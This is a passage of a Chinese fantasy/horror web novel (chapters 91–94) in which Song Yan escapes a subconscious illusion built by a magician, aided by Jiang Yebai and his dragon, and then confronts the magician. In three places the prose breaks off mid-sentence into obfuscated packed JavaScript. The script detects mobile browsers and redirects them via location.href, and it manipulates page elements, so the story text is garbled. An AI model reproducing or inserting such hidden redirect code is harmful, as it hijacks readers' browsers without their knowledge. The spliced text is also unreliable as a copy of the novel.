姜夜白目光移过去,远处,浑然天成的山壁上,出现了一个黝黑的凹陷,如同一个悄然出现的黑洞,四周的光吸纳于此。 雨渐渐大了,胖墩捂着头,颠颠地跑过去,一边跑,一边抱怨道:“刚回帝都就又出外勤,青木大人也是,真不怕人累死......怎么每次都是我啊,我今天原本约了小翠的,好不容易才排到的档期!” 他小声嘟囔,也不怕身边人听见,姜夜白看他一眼,平淡道:“要不你和箐姐说说,她顶你的班,你去看小翠。” 胖墩想起那个青面獠牙的女魔头,登时闭了嘴。 这些话给姜夜白听是他有心为之,可要是说给叶箐......他想起叶箐那段带着尖刺的鞭子,背上立马爬上一道长长的灼热。 山洞很黑,却不深,两人走得很慢,却也过了片刻就走到了尽头。 胖墩看着伸手不见五指的洞内,心里瘆得慌:“头儿,这洞里怎么这么黑啊。” 他看向洞口,明明有光透进来,却都止步于洞口,划了整整齐齐一条分割线,那头是白天,这头是黑夜。 一声雷炸响,洞外的光线都暗淡下来。 风雷阵阵,瓢泼大雨。 胖墩往外探头,兜头浇了一头一脸的雨水,透心凉钻回洞内,道:“头儿,好大的雨。” 没有回答。 “滴答”水声滴落,空气粘腻、潮湿。 胖墩心里咯噔一声,不敢回头,缓缓朝洞口挪。 “咔嚓”。 他心顿时提了起来,缓缓低头,踩断了一根树枝。 虚惊一场。 胖墩喘了口气,干笑道:“头儿,你别吓我,这不好玩......” 滴答、滴答。 他抬眼,对上一双金色的竖瞳。 胖墩猛地一惊,踉跄几步,屁股墩地一下,摔倒在地。 他仰头,看到山石罅隙间,黑色的瞳孔眯成一条竖线,危险地看着他,眼瞳灿灿生辉。 “你......我......”胖墩连人带屁股往后挪,冷汗顺着下巴滴落,终于撑不住,失声道,“老大——” ...... “多大的人了,又不是没见过。”姜夜白无奈道,语气带一点安慰诱哄的味道。 即便如此,胖墩仍然双腿发软,瘫在地上,双目失焦。 ......他是见过没错,可、可可可这东西当初不是这样的啊! 胖墩偶尔见过姜夜白私下养的小宠物,也隐约明白这对主宠间关系不一般。可是,也TM没人告诉他这宠物长这么大了啊!!! 山洞内,一条巨龙盘旋在嶙峋山石间,鳞片表面熠熠生辉,整个山洞都被照得亮堂堂的,巨龙抬起头颅,高傲地瞥来一眼。 光这一眼的威压就让胖墩喘不过气。 姜夜白无暇管他,只看着巨龙的眼睛,他的瞳孔也渐渐变成金色,一人一龙对峙片刻,巨龙缓缓移开眼。 半晌,它不情不愿地挪开身躯,露出身后脆弱的人类女孩。 乌发散落,脸色苍白,她额间有冷汗渗出,仿佛在经历最深重的噩梦。 但她脸上某一瞬竟然浮起一个笑,如微末茶沫在水中散开,灿烂极了。 那笑容稍纵即逝,很快,她脸上又是死水般的平静。 姜夜白盯着那个笑看了一会,看不出在想些什么。 须臾,他蹲下来,试了试她的鼻息。 还有气,但相当微弱。 也许她再在这里晾一会,这点微弱的呼吸也会消失。 但姜夜白竟然不感到心慌,他心中莫名升起一种笃定,不管怎样的险境,她都能化解。 只因为她是宋言。 他耳侧传来一道平板的女声。 “你想救她吗?” 姜夜白微微偏头,四目相对。 一双全白的眼睛凝视着他。 女孩忽然睁开眼,从地上坐起来,一双眼平淡地看过来,如看死物。 姜夜白沉吟片刻,道:“我怎么知道你没有骗我?” 对方似乎笑了下,回答:“因为我比你更在乎她。她死了,对我来说损失更大。” ...... ...... 操场,穿着蓝白校服的学生在人潮中穿行,跑道上摆满了各式各样的摊位,大头动漫贴纸贴得到处都是。 旁边的女生拍了一下宋言的肩膀,笑声银铃般悦耳:“傻站着干嘛,走啦,和我去逛逛!” “逛?”宋言站在原地不动,她后背爬上一阵虚汗,心脏仿佛被尖锐的刀剑刺入,一抽一抽地痛。 “对啊!”女生指着对面一排摊位,道,“今天是社团节,那边国学社、魔术社、街舞社都摆了点,今天国学社还有汉服巡游,你快和我来!” 她拽着宋言的手,露出一截纤细的手腕,上面空空荡荡,什么都没有。 宋言眯起眼,忽然停下:“我觉得我手腕上少了点什么。” 女生道:“我知道啊,你的手链昨天掉了嘛,今天早上那个暗恋你的学长还给你送了条新的,看起来挺贵,不过你没要。” 说到这里,女生忽然间明白了什么,一把松开宋言的手,抿唇道:“你不会是要等那个学长吧!我就说我怎么拉你都拉不动,果然是变心了!” 宋言看着女生气鼓鼓的脸,迷茫开口:“什么送手链?我怎么不知道?” 空气中水汽变得浓郁起来,宋言伸出手,一滴雨落在她掌心。 女生道:“哎呀,人家要是知道,天天来你这献殷勤,只换来一句不知道,该有多伤心啊。怕是我们全校都知道了,你这个正主还不知道。” 宋言怔怔地望着她。 女生见她这副表情,反而笑起来,挽起她的手:“不知道就不知道,我们言言也不是哪条野猫野狗都要记得的,走,下雨了,我们不逛了!” 女生送她到校门口,一辆黑色迈巴赫在门口等她,车窗摇下,黑发红唇,映衬着女人温柔美丽的脸。 宋言想起来,早上母亲是说过晚上来接自己放学的。 车门打开又关上,车外,女生撑着格子伞,邀请宋言明晚去她家玩。 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100199|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言微微颔首。 车内播放着轻快的电子爵士,宋言却感到一阵胸闷,女人看她神色不对,车在路边缓缓停下。 她问道:“言言,需要去医院吗?” 宋言摇头:“我只是觉得......黑色有点闷,不用。” 女人微微蹙眉,温柔的面容上流露出一丝哀愁,似乎在真心实意地为宋言难过。 车辆缓缓驶进别墅。 宋言跟着女人进门,大门感应到有人进入,自动打开,宋言看见客厅里坐着的男人,停下脚步。 女人似有所觉,回头,卷曲的发梢拂过宋言脸侧,问道:“怎么了吗?” 宋言静默片刻,抬起眼,看着沙发上温和儒雅的男人,人过中年,微笑时眼角难免有细纹,但这无损他的英俊。 而这颗美丽的头颅下,肚腹涨起,衣衫崩裂,他举起两只粗壮的蹄子,手里捧着张报纸。 宋言一字一句道:“沙发上的......是猪吗?” 女人红唇微弯,佯作生气:“怎么可以这样说爸爸!” 宋言不再说话,餐桌上摆满了饭菜,女人点燃蜡烛,便和男人在桌前坐下。 宋言挑了个离男人远的位置坐下,窗外雷声一阵高过一阵,一条狗忽然从桌子底下窜出,跳进她怀里。 柔软的皮毛、温热的触感。 小狗亲热地舔了舔宋言手心。 女人笑道:“旺财等了你一天呢。” 宋言抚摸小狗的手顿住,对面是挂着慈爱笑容的父母,桌上的食材价格不菲,她却突然失去食欲。 宋言缓缓放下手,小狗乌沉沉的眼睛望着她,像濯洗过的宝石。 她半天才道:“......这条狗叫旺财?不叫别的什么?” 没有回答,烛光下父母慈爱的表情没有丝毫变化。 雷声更大了。 ...... 这顿饭宋言没吃多少,她借口作业太多,提前回到卧室。 期间她的父亲进来给她送过水果,被她婉拒了。 主要是对着他吃不下饭。 宋言拉开书包拉链,拿出作业本,里面掉出一张纸条。 纸条上的字迹被潦草的血字覆盖。 血液氧化成黑色,带着潮湿的铁锈味。 宋言缓缓念出声:“不要恐惧......” 不要恐惧什么? 手机忽然亮起,宋言解开锁屏,已经有十几条未读消息。 来自一个叫小白的女生。 [小白:言言,你到家了吗?] [小白:言言,你怎么不回我,不会出了什么事吧,我好担心你。] ...... [小白:你要记得明天来我家哦!我会一直等你的。] [对方向你发送实时定位] 宋言思索片刻,指尖微动。 [宋言:我到家了。你吃饭了吗?] 屏幕上方显示:对方正在输入中...... 很快,下方跳转出新消息。 [小白:吃了吃了!我就知道你会平安的!言言,你要记得明天来我家啊!] 宋言看了一眼窗外,电闪雷鸣,大雨如注。她继续编辑消息。 [宋言:你今晚可以来我家吗?] 下一秒,对面给出回复。 [小白:当然可以!我马上就到!] 一道闪电划过窗户,宋言眉目被照亮一瞬,她开始翻找和小白的聊天记录。 大部分是对面给她发送早安晚安,偶尔分享一些搞笑视频。 从头到尾,宋言都没有告诉她自己的家庭住址。 92. 帝都(十七) 092 * 雨势很大。 宋言打开门,门外的女孩浑身湿透了,头发结成一绺一绺,直直往下滴水。 玄关处地毯湿了一块。 她很不好意思地挠了挠头,被宋言请进屋。 客厅里,晚餐结束后,宋言的父母便坐在沙发上看电视,为了不影响宋言学习,电视被调成静音。 现在两人正直勾勾地盯着她,眼神仿佛在质问她为什么带陌生女孩回家。 但宋言转过身,露出背后湿淋淋仿若女鬼的女孩时,两人齐刷刷移开了眼。 在宋言看不到的地方,女孩对他们露出整齐白亮的牙齿。 八颗牙齿,一个标准的微笑。 那一瞬,这对男女脸上闪过惧怕。 宋言拿出一双拖鞋,和一套家居服,打算带女孩去楼上的客房。 女孩歪了歪头,露出一个笑:“不要,言言,我要和你睡。” 宋言思量片刻,点了点头。 房间很暗,女孩毫不避讳地在宋言面前换衣服,宋言不自在地侧过脸,看到窗外划过一道闪电,黑漆漆的天空上,闪过巨龙的虚影。 龙? 宋言微微蹙眉。 女孩的声音在耳边响起,“言言,屋里好黑。” 宋言去开灯,却被女孩按住,她的手很柔软,像某种海洋生物的足肢。 她轻声道:“不要开灯,你给我讲故事吧。” 她从书架上取下一本故事书,送到宋言手里。 宋言给她拿的是一套小熊□□的睡衣,她胸前有一个大大的卡通图案,头发刚刚被吹干,呈现出毛绒绒的质感。 她睁着一双乌沉沉、圆溜溜的眼睛仰头望着宋言,像童话故事里的山猫。 宋言接过故事书,翻开第一页:“很久很久以前,海底生活着六位人鱼公主,最小的那位公主很向往海面上的生活......” 宋言的声音平淡而冷静,一篇浪漫悲情的童话,她念起来像是在读实验报告。 “......第二天早上,渔民在海边发现了一片白色的泡沫。太阳照常升起,这一日,王子和公主在盛大的宫殿举行婚礼,海边的泡沫被作为异象上报,连神都在祝福这对新人。” 宋言阖上书本:“念完了。” 女孩轻轻咬唇,嘟囔道:“我不喜欢这个故事,神不会祝福他们的。” 宋言看她一眼:“哦?” 女孩掰着手指道:“我要是这个公主,就替小美人鱼把王子杀了,然后和人鱼公主在一起。” 宋言觉得好笑:“旁人都代入小美人鱼,你怎么代入的是公主。” 女孩托腮看她:“为什么不能代入公主,作者有说过只能代入小美人鱼不能代入公主吗?” 宋言想了想,摇头:“好像没有。” 女孩点头道:“那就是了,在作者的意志下,只有王子得到了幸福,公主未必爱着王子,她更可能爱上美丽的人鱼公主。” 她又道:“你再讲一个故事吧,这个我不喜欢。” 宋言没有立刻答应她,她嫌屋里闷,走到窗边,看了眼天色,窗子微微开了一条缝。 没有看到那道影子。 果然是幻觉吧。 宋言在窗边站得有些久,身后传来女孩不安的声音:“言言,你在看什么?” 宋言回到床边,摇头道:“没什么,我们讲下一个故事吧。” “好。”女孩笑起来,将故事书翻到最后一页“这次我来挑,你总是眼光太差。” 宋言接过书,这一页的标题是:纳西索斯之死。 她缓缓开口:“从前有一个叫纳西索斯的少年,他容貌相当俊美,无数少女一见倾心,但他本人却相当高傲,拒绝了所有人的求爱......直到有一天,他爱上了自己的倒影。” 窗外一声雷炸响,女孩捂住耳朵,躲进宋言怀里,发出低低的抽噎声。 雨丝顺着窗户缝隙飘进来,窗台湿了一片,宋言站起身,要去关窗。 女孩却抓住她的衣服,声音颤抖:“言言,你不要走,我害怕。” 宋言道:“我只是去关窗。” 但女孩一直没有松手,宋言只好坐下来,任女孩抱着自己抽泣。 女孩头埋在她怀里,宋言感觉窗边划过一道浓重的阴影,她看向窗外,却只看到一片漆黑。 错觉吗......还是别的什么? 女孩的抽泣声渐渐弱下来,她抬起头,纤长的眼睫上挂着晶莹的泪珠,眼睛红红的,像兔子。 女孩忽然问道:“你为什么一直不叫我名字?” 从进门的那一刻起,宋言就没有喊过她。 宋言想了想,反问道:“这重要吗?不管你叫什么,你就是你。” 这句话不知道哪里取悦了女孩,她脸上露出浮沫般的笑意,灿烂极了。她道:“对极了!我就是我,而你也是你,那么你说,人会爱上另一个自己吗?” “不知道,爱和什么都无关,但又和什么都有关。”宋言道。 女孩不解地望着她。 宋言思索片刻,出口却是:“或许爱本身就是个伪命题,你五岁时喜欢吃橘子,十岁时喜欢吃苹果,那么能说你爱橘子或者苹果吗?再或者你十五岁的时候,喜欢吃樱桃,那么你爱的又是樱桃了。” “你看,爱瞬息万变,所以不要去做假设,往往是没有结果的。” 女孩忽然笑起来:“说到底你是对爱没有信心,你不觉得自己会永远爱着对方,也不觉得对方会永远爱你。” 宋言又看了一眼窗外乌沉沉的天色,微笑道:“你说是就是吧。” 女孩似乎很得意驳倒了宋言,继续论证:“爱.欲到了极致,和食欲、死欲高度相似,或者说这三者本来就是同一种东西。你爱着对方,所以想要对方永远不离开你身边,想要和对方融为一体——直至你想要吃掉对方。” 女孩的声音戛然而止,她看见宋言忽然起身走到窗边,她拽住她的衣角,宋言却直接把外套脱了下来。 长鞭划过天空,像一道金色的闪电。 天空被照亮一瞬,宋言无知无觉地伸出手,须臾,手心积了层浅浅的水。 脚腕传来柔软冰凉的触感。 宋言低头,看见两条草蔓慢慢试探着缠上来。 身后传来女孩颤抖的声音,明明她是强迫人的那个,说话却带着哭腔:“为什么你不能一直看着我呢?从我进门到现在,你心思一直在别的地方,你以为我不知道吗?!” 雨水飘进来,打在桌面上,发出噼啪的响声。 宋言平静地看着她:“所以这就是你绑架我的理由?” “只有绑,没有架。”女孩擦了擦眼泪,辩解道。 青翠的草蔓爬上宋言四肢,她忽然有些不耐烦和她玩文字游戏,手腕用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127952|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,草蔓悉悉索索落下来,然而,很快,新生的草蔓又如水草般向她涌来。 [用火烧。] 宋言脑中突然出现一道声音。 火?哪来的火? 几乎是这个念头出现的瞬间,宋言脚下忽然燃起黑色的火焰,从她身上烧起,一直到床边停下。 沿途一片焦黑。 宋言盯着掌心跳动的火焰,心里突然有什么东西缓缓复苏。 灰烬上慢慢长出新的草蔓,这次却被柔顺地交到她手里,女孩一改先前张牙舞爪的姿态,神情顺从:“我错了,你原谅我这一次好不好?” 女孩眼眶湿润,低垂着头看过来,几缕发丝垂在脸侧,露出瓷釉般细腻的小脸,杏眼桃腮,她低声道:“这次换你来绑我。” 女孩许久没有得到答复。 她缓缓抬眼,窗台门户大开,宋言不知何时把整扇窗都推开了,她站在书桌上,仿佛下一秒就要跳下去。 女孩脸色霎时变了。 宋言背对窗台,听到对方语气惊慌:“言言......你,你不要做傻事。” 她语速飞快:“我,我和他们都不一样的,我虽然疯,没他们疯得那么彻底,你要是不喜欢,我现在就离开你家......” 讲着讲着,她思路逐渐清晰起来:“对,我可以走,你不要害怕,之后你让我干什么我就干什么,你想杀了我泄恨也行......言言,生命只有一次,跳下去就什么都没了。” 风雨中,宋言看不清神情,她问道:“生命真的只有一次吗?” 女孩点头,生怕她想不开:“对,只有一次,人死了就什么都没了。” 宋言往前走一步,离窗台远了一些。 她站在高处,那双平静的浅色眼眸俯视着女孩:“他们在哪里?” 女孩眼神一动,没等她回答,宋言换了一种问法:“都死了吧。是他们杀的我,还是我杀的他们?” 没有回答。 女孩抿了抿唇,眼神闪烁。 宋言见她神情,已经知晓答案:“看来是同归于尽。” 下一瞬,她转身向窗台迈了一步。 风雨大作,雨点如刀片,宋言头脸都湿透了,她脚下是几十层的高楼,桌边的玻璃杯摔下去,很久才传来一声轻微的响。 脑内那道声音坚决而笃定。 [跳。] 宋言一跃而下。 下坠。 一直下坠。 剧烈的失重感包裹着她,宋言无法控制平衡。尖锐的风刮擦脸皮,眼球充血,耳蜗轰鸣,生理性泪水流到嘴边,宋言舔了舔,心想,是咸的。 如果这样落到地上,会怎么样? 会像西瓜一样摔烂吧。 但是她好像还没有体验过这种死法。 宋言无聊地想。 察觉到她的想法,脑中那道声音再次出现。 [我派了人来接你。] 下坠陡然停止,风雨在这一刻静默。 一道漆黑的骨翼挡在宋言头顶,她跌入了一个干燥而温暖的怀抱。 宋言眼睛被雨水糊住了,只看见眼前有一团黑糊糊的影子。她不自觉伸手去摸,只摸到一团空气。 她有些茫然地开口:“系统?还是小金?” “都不是。” 她头顶传来一道温和的声音。 “你很久以前,叫过我小白。” 93. 帝都(十八) 093 * 小白? ......她也叫这个名字。 系统干脆道:“你还记得我是谁吗?” 宋言思考片刻,回答:“黑心老板。” 系统诊断道:“好,脑子坏了一半。” 为了方便工作对接,系统现在说的所有话都被外放,宋言还没说话,那道温和的声音先于她道:“天要塌了。” 雨如泼墨,细小的碎片随着雨滴落下,宋言抬头,天空一半黑沉,另一半碎成一片一片细小的拼图,哗啦啦掉下来,背后是一片空洞。 这空洞仿佛幽深的隧道,迅速扩大,压低,向地面迫近。 系统沉吟片刻,道:“往反方向飞。” 宋言感觉身下的黑影调转方向,陡然加快了速度。 他们飞得不高,底下是大片大片倒塌的房屋,碎片落在哪里,哪里便出现黑洞。 地面燃起黑红交杂的火焰,剧烈的爆炸声连连响起,血色赤莲在火中盛放,一直延伸到天际。 雨还在下。 可雨水浇不灭熊熊烈火,甚至连雨滴都是黑色的,宋言耳边充斥着哗啦啦的水声、啼哭的婴孩声......和诡谲的低语。 天空越压越低,暴雨般的黑倾下,她似有所感,回头看了一眼天际,那隧道般的黑洞中,伸出一只巨大的黑色足肢,如古老神话里顶天立地的巨柱,遥遥止住下坠的天势。 又好像......有什么要从里面出来。 系统疾声道:“赶快离开!不要被它发现!” 顺着系统指示的方向,宋言看见一只巨大的眼睛,那只眼睛只睁开了一条缝,微微露出银白色的瞳孔。 直视眼睛的瞬间,宋言脑中传来尖锐的刺痛,手掌急促地捂住嘴,指缝间渗出黑色的血。 她眼前出现无数缭乱的身影,篝火前的狂舞、深海的低语、澄澈如镜的水面...... 画面最后是浓郁的化不开的白雾,宋言沿着那只巨大的黑色足肢往上望,白雾背后,一双冰冷的银白色眼瞳久久凝视着她。 宋言猛地睁开眼。 系统急切喊她:“都说了不要看,怎么不长记性!” 宋言心有余悸,好像做了一场荒诞的噩梦,身上一阵冷一阵热,后背湿透了。 她忽然道:“这是我的潜意识,对吗?” 如果把人比作一座冰山,浮于水面的意识和行动只占八分之一,剩下八分之七都藏在水底。选择性遗忘、有意识的压抑都可以让水底庞大的体积永远不见天日。 魔术师企图侵入宋言的潜意识,将她认知的自我偷天换日,如果一个人的记忆、性情、思想都被一点点改换门庭,这个人也就完全沦为了他的奴隶。 魔术师有傲慢的资本,因为从理论上来说,人的潜意识是最难进入的领域,也是最无防备的领域。 但他此刻还不知道自己无心所为,放出了怎样的滔天巨兽。 黑影继续往前飞,宋言却道:“我要去那边看看。” 她看向那根遥远的黑色足肢。 没有什么比它更壮阔,也没有什么比它更让人心生恐惧。 宋言光是看它一眼,眼角便流下血泪。 系统坚决道:“不行,我花了好大力气才把你救出来,趁眼睛还没完全睁开,离开这里。” 宋言没有回头,她道:“也许我并不需要你救。” 头顶的黑翼遮去风雨,一切声音都不太清晰,但宋言遥遥望着那只巨大的黑色足肢,撕裂天穹,耳边哭声与吼声仿佛从另一个世纪传来,清晰可闻。 她想起那张血色字条。 “不要恐惧......” 不要恐惧什么? 她现在找到了答案。 宋言移动脚步,往黑影的边缘走,这边不太高,如果跳下去,顶多摔断腿。 不过以她的身体耐造程度,应该不会断,最多骨折。 系统的声音有点焦躁,宋言自动过滤了它的声音。 她想做的事,一向没有人能阻拦。 现在也是如此。 她站在黑影边缘打算往下跳时,这道黑影突然悬停在空中。 不再往前。 一道骨翼被放下,围在宋言身前。她微微蹙眉:“你不要拦我。” 骨翼巨大,绵延,展开时遮天蔽日,此时却温顺地伏在她身前,只是充当一道护栏。 宋言估量了下高度,觉得自己应该能跳过去。 不仅能跳下去,如果落地点选得好,应该也不会太疼。 宋言这样想。 “先别跳。” 一道温和的嗓音在耳边响起,盖过系统聒噪的语音。 “我记得,我并没说过要拦你。” 宋言蓦地抬眼,拦在她身前的骨翼逐渐张开,如扬起的帆。 黑影缓缓摆头。 系统怒斥道:“两个疯子......” 回程比来程更快,宋言几乎从黑影紫电青霜般的残影里,读出一股倔强与孤傲。 系统嘟囔道:“要是知道你们一个两个都这么疯,我绝对不会找你来......” 然而已经没人在听它说话。 天柱越来越近,整个世界只剩下这一小块没有塌陷,柱身缠绕着古老的神秘花纹,游龙绕柱浮动,底下赤莲葳蕤生光。 黑影决绝地撞上那根天柱。 它穿了过去,宋言却摸到了足肢表面凹凸不平的花纹。 那一刹那,无数诡谲的画面和声音涌进她脑海,先前那只眼睛带来的震撼连点成线,繁复的图腾在眼前跳动,浮动的金光涌入线条——汇聚成一颗枝叶繁茂的巨树。 苍苍郁郁,经年不败。 “神树” 宋言脑中自动跳出这个词。 她伸手,想抓住一段枝丫,却只摸到一截干枯的树枝。 身后是冷硬的石壁。 宋言倏地从地上弹起来。 她面前的青年也睁开眼,黑曜石般的眼眸里,有一点未消散的茫然。 宋言对这双眼睛已经形成条件反射,反身把他压在地上,肘部刮蹭到地面,一片火辣辣的疼痛。 被她抵住的人就这样毫无防备地摔倒在地。 旁边守着的人大喊:“不是,你们在干嘛啊!头儿,你起来说话呀!” 胖墩没想到他只是开一会小差,场面已经演变到这个地步。 他局促地站在原地,眼神不知道该往哪里瞟。 说是挟持吧,这劫匪是姜夜白非要救的,说是内部矛盾吧,他就没见过内部矛盾上来就拼刺刀的。 哦,也是见过的,那个人叫叶箐。 这个名字浮现在脑中,胖墩就仿佛被鞭子抽了一顿。 火辣辣的。 另一头,宋言忽觉不对,起身道:“对不住,我以为...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149375|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我在里面杀了你99次。” 那双眼睛弯了弯,露出一点狡黠的笑意:“要不你再杀我一次,凑个整。” 宋言:“......” 她难得有些局促,手不知道往哪放,干脆揣进兜里,道:“我欠你一回。” “这哪是欠不欠的问题!”胖墩终于找到机会,替姜夜白打抱不平,“头儿,你都为救她种了同命了,好歹先坐下来解一解啊!” 宋言疑惑看他。 同命是一种毒,或者更久远一点,它是一种蛊。 中毒双方能感应到对方喜怒哀乐,如果离得更近一点,连对方心声都能听到。 所以也被叫做“同心”,一方死去,另一方也会跟着死去。 系统在脑中出声:“我拿这味药做引子,引渡他去你潜意识,其实我只用了[同命]里的几份药材,这毒......随着时间推移,自动就会解开。” 宋言把这话原原本本告诉了两人。 胖墩还要出声,却被一个眼神止住。 姜夜白坐下来,揪住小金的尾巴,那条金色巨龙不知何时又变成小小一条,被人扼住七寸,捏了捏下颚。 他状似无意道:“你接下来打算怎么做。” 宋言已经走到洞口,又回身:“杀了他。” 洞外风雨未歇,一道闪电在洞前劈下,宋言眉眼间闪过一抹戾气。 姜夜白点了点头,道:“也好,惦记你的人是该处理一下,我只希望你记得一点。” 他抬起头,看着她道:“至少现在,我和你的命还连在一起,你记得惜命。” 宋言点了点头。 那人便笑了下,手放在左边胸膛上:“有人的心脏会为你而跳动。” ...... ...... 有人被雨困在山洞,有人却在雨中漫步。 雨水绕过魔术师和帷帽女子,两人所经之处,风雨不侵。 帷帽女子望着乌沉沉的天色,微微皱眉:“乌云蔽日,不是好天象。” 魔术师却道:“那也得看谁是乌云谁是日,向来只有我们宰割别人的份,你这是怎么了?” 说话间,他们已经走到一辆侧翻的货车前,荒郊野外,只有这么一辆车,分外显眼。 魔术师不以为意:“你看,即使是太阳,一旦坠落,也只有任人鱼肉的份。” 魔术师推开车门。 驾驶座内,一个蜜色皮肤的男人趴在方向盘上,像垂死的鱼。 女子见魔术师没有下一步动作,问道:“怎么,死了?” “不是。” 魔术师微微摇头,他转过身,车内没有他想要的东西,对他而言已经失去价值。 他身后扬起一阵黄沙,货车被埋在土下。 雨点如雷,天穹划过一道闪电,魔术师语气有些焦灼:“我找不到她了。” 女子黑纱微动:“怎么会找不到?” “我......”魔术师刚开口,脸上便淌下一片湿热,他缓缓抬起手,在脸上抹了一把,一片殷红。 竟是七窍流血。 “你被反噬了?”女子皱眉道。 “恐怕不只是反噬......”魔术师脑中传来一阵尖锐的疼痛,太阳穴突突地跳,“我好像看到了......” 他声音有些迟疑,似乎太过震惊而难以开口。 “我看到了......祂的火焰。” 94. 帝都(十九) 094 * “火焰”一词仿佛不能出口的禁忌,两人一时陷入沉默。 魔术师沉默片刻,从兜里掏出一块淡白色的晶体,晶体表面发出淡淡的莹光,光点散入手心,魔术师不断衰败的身体终于缓慢恢复生机。 那块晶体也失去莹润的光泽,变成一块普通的石头。 女子掀开黑纱,将魔术师手心的石头看得更清楚,蹙眉道:“这块碎片也彻底没用了?” 魔术师道:“一共就两块,不然你以为我千里迢迢跑到童话镇潜伏那么久,是为了什么?” 碎片能遏制畸变种的衰败,魔术师手上两快碎片,一块是神赐,另一块是他从一个人类手里抢的。 可惜那个人太机敏,即使自己穷途末路,也要摆他一道。 魔术师不愿嘴边的鸭子就这么飞了,在童话镇潜伏多日,终于找到机会,眼看碎片就要到手,最后中途被人截胡。 也难怪他这么气愤,毕竟分身损毁虽然不危及性命,但对本体也会造成很大的伤害。那具分身被炸毁时,魔术师的本体也被炸成一块一块,最后靠着占星师缝缝补补,才能重新直立行走。 半晌,女子才开口:“你有没有想过,也许上次失败和这次的失败,都是上天在警示天命并没有落在你身上。” 天色晦暗,气压低沉,女子摇了摇头,道:“我看不如就此收手,星象并不站在你这边。” “再说,你也看到了神火,说不定是祂对你的警示。” “警示......”魔术师沉吟道,“或许真是大水冲了龙王庙,但我并不知道那一位除了我还有别的侍者。” 女子瞥了他一眼,道:“那一位想做什么,一向是我们无法置喙的。” 人于神而言,何其渺小,以凡人之身揣度神意,在她看来,无异于蚂蚁在思考大象每天吃什么。 女子又道:“我先回去准备星阵,你稍等片刻,传送阵就会出现。” 魔术师点了点头,算是同意占星师的决断。 女子颔首,下一秒,这道带着帷帽的黑色身影便从原地消失不见。她原本站着的地方,只留下一点淡淡的星辉。 一刻钟后,魔术师眼前出现一个一人高的星阵,六角分别有一颗主星压阵,深蓝色的星光汇入阵眼,星阵霎时亮了起来。 雨丝如线,魔术师朝星阵走去,只要穿过星阵,就能传送到千里之外。 一只脚迈入星阵,魔术师回头看了一眼帝都的方向,有些惆怅。 须臾,他收回目光,另一只脚也踏入星阵,却径直从星阵中穿了过去。 ?! 魔术师猛地抬头,压阵的一颗主星不知何时已经被人抠走,星阵缺了一块,光芒立刻暗淡下来。 那颗缺失的主星,此刻正在另一人手中把玩。 四周都是山崖,地势险仄,一个年轻女孩正站在山石凸起处,手中星石忽明忽灭。 手掌翻转,星石沿着山崖滚落,“啪嗒”一声,碎了。 四面燃起几丈高的火焰,灼烫逼人,魔术师站在其中,心中久违地感到恐惧。 他抬起头,试图解释:“这是一场误会......” “我们侍奉的是同一位神灵,你这样做,祂会生气的。”魔术师威胁道。 火焰越来越近,几乎舔舐到他的衣角。 他望着宋言面无表情的脸,忽然住了嘴。 他这时才明白,宋言根本没有在听他讲话,她只是想杀了他而已。 意识到这一点后,魔术师脸上装饰性的笑陡然消失,他缓缓抬起手掌,手中多了一柄黑色手杖,手杖轻敲地面,顿时掀起几米高的水浪,周遭火焰为之浇灭。 但很快,火焰底下白色的菌丝缠了上来,它们不畏水浪,即使在水浪下也无所畏惧。 宋言站在山崖上,冷眼旁观这场战斗。 但魔术师显然不打算一直让她置身事外,手杖在地上敲了三下,山崖发出轻微的嗡鸣,几枚落石直接砸向宋言所站之处,宋言跳上另一侧山崖躲避,然而落石又接踵而至。 这种情况下,宋言没办法分心操控火焰和菌丝,地上的火势慢慢衰弱下来。 黑色的火龙从滔天巨蟒缩水成小蛇,在风雨中摇曳。 魔术师显然不满足于此,事情既然已经到了这个地步,不是他死就是她活,那不如让火烧得更猛烈一点。 他眉间闪过一阵阴鸷之色,四周的风雨慢慢安静下来。 宋言似有所感,在一处山石上停下,抬眼望去,铺天盖地的雨声不知何时停了,空旷的天地逐渐虚化,取而代之的是洁白的墙壁和木制桌椅。 魔术师竟是受着伤也要发动幻术,拖宋言入境。 宋言坐在凳子上,腿太短够不着地面,只好仍由女人给自己围上肚兜。 她抬起莲藕似的小臂,白白胖胖,刚好握住一把勺子。 但那把勺子没有交到她手上。 女人端着碗,米糊被一勺一勺喂进宋言的肠胃,她只需要不断张嘴,吞咽。 另一边坐着个儒雅的中年男人,他似乎被宋言吃饭的样子逗笑了,商量道:“孩子也不小了,该送去辅导班学点东西了。” 